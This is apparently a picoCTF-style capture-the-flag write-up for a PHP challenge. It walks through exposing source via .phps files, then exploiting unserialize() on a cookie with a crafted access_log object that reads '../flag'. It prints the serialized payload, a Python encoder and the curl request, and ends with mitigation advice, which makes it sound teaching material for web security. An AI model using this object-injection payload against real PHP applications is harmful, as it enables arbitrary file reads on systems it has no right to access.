Description
Try to recover the flag from this PHP web application. Start with /robots.txt.
Setup
Navigate to the challenge URL and start with /robots.txt.
Solution
- Step 1Discover source files via .phps extensionrobots.txt hints at a .phps extension. Requesting index.phps returns the PHP source code of index.php. Do the same for authentication.phps. Read through both files to understand the application logic.curl http://<server>/index.phpscurl http://<server>/authentication.phps
Learn more
The .phps extension is an Apache configuration for serving PHP source code with syntax highlighting instead of executing it. When misconfigured, it exposes the entire source code of PHP applications. This is a common misconfiguration that attackers check early in web application recon.
- Step 2Identify the unsafe unserialize() callIn authentication.phps, you will find: unserialize($_COOKIE['login']). The authentication.php file also defines an access_log class with a __toString() magic method that reads the file specified in its log_file property. This is a PHP object injection vulnerability.
Learn more
PHP object injection occurs when user-controlled data is passed to
unserialize(). PHP's serialization format encodes the class name and properties of objects -- an attacker can craft a serialized string that instantiates any class defined in the application with arbitrary property values.Magic methods like
__toString(),__destruct(), and__wakeup()are called automatically by PHP at specific moments.__toString()runs whenever the object is used in a string context. If it reads a file, an attacker controlling thelog_fileproperty can read arbitrary files. - Step 3Craft and send the malicious serialized payloadCreate a serialized access_log object with log_file set to '../flag'. The PHP serialization format for this is: O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}. Base64-encode and URL-encode this string, then send it as the login cookie.python3 -c " import base64, urllib.parse payload = 'O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}' encoded = urllib.parse.quote(base64.b64encode(payload.encode())) print(encoded) "curl http://<server>/authentication.php --cookie "login=<encoded_payload>"
Learn more
PHP's serialization format:
O:<length>:"<classname>":<num_properties>:{<properties>}. A string property:s:<length>:"<value>". You must count bytes exactly -- the lengths must match the actual string lengths.The path
../flagnavigates one directory above the web root where the flag file is stored. The application reads and displays this file when the cookie is deserialized and the object is used in a string context (triggering__toString()).Mitigation: Never call
unserialize()on user-supplied data. Use JSON for data exchange instead -- it does not support object instantiation. If serialization is necessary, use a cryptographic signature (like HMAC) to prevent tampering.
Flag
picoCTF{...}
PHP unserialize() on cookie data is a critical vulnerability -- the __toString magic method runs when the object is used as a string, enabling arbitrary file reads.